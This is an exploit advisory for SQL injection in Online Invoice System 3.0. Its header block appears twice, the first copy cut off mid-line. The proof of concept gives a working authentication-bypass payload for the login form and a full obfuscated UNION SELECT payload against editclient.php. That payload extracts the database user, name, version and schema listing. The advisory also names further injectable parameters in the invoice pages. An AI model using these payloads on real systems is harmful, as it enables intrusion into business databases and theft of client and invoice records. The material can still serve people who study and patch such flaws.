Online Invoice System 3.0 SQL Injection

# # # # #
# Exploit Title: Online Invoice System 3.0 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.onlineinvoicesystem.com/
# Software Link: ht # # # # #
# Exploit Title: Online Invoice System 3.0 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.onlineinvoicesystem.com/
# Software Link: http://www.onlineinvoicesystem.com/index_v3.html
# Demo: http://www.onlineinvoicesystem.com/onlineinvoicesystem3/index.php
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
# User: anything Pass: 'or 1=1 or ''='
#
# Sql
# http://localhost/[PATH]/editclient.php?cid=[SQL]
# -5+/*!00003uNiOn*/(/*!00003SelECt*/+0x283129,/*!50000CONCAT_WS*/(0x203a20,USER()),/*!50000CONCAT_WS*/(0x203a20,DATABASE()),/*!50000CONCAT_WS*/(0x203a20,VERSION()),0x283529,(/*!50000SelECt*/+export_set(5,@:=0,(SelECt+CoUnt(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629)--+-
#
# http://localhost/[PATH]/admin_invoice_print.php?id=[SQL]
#
# http://localhost/[PATH]/edit_invoice.php?id=[SQL]
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# http://localhost/[PATH]/admin_invoice.php?id=[SQL]
# Etc...
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